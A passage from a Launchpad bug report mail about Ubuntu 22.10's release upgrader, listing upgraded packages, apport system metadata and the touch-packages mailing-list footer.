251.4-1ubuntu7.1), libudev-dev:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), systemd:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), libudev1:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), libudev1:i386 (251.4-1ubuntu7, 251.4-1ubuntu7.1), xscreensaver:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), systemd-resolved:amd64 (251.4-1ubuntu7, 251 .4-1ubuntu7.1), xscreensaver-data:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), libsystemd-shared:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), systemd-sysv:amd64 (251.4-1ubuntu7, 251.4-1ubuntu7.1), xscreensaver-data-extra:amd64 (6.02+dfsg1-2ubuntu1, 6.02+dfsg1-2ubuntu1.2), signal-desktop:amd64 (6.8.0, 6.9.0) End-Date: 2023-03-09 19:40:21 ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: ubuntu-release-upgrader-core 1:22.10.8 ProcVersionSignature: Ubuntu 5.19.0-35.36-generic 5.19.17 Uname: Linux 5.19.0-35-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.23.1-0ubuntu3 Architecture: amd64 CasperMD5CheckResult: unknown CrashDB: ubuntu CurrentDesktop: KDE Date: Thu Mar 9 21:58:06 2023 PackageArchitecture: all SourcePackage: ubuntu-release-upgrader Symptom: ubuntu-release-upgrader UpgradeStatus: Upgraded to kinetic on 2023-02-10 (27 days ago) VarLogDistupgradeXorgFixuplog: INFO:root:/usr/bin/do-release-upgrade running INFO:root:No xorg.conf, exiting To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+bug/2009910/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp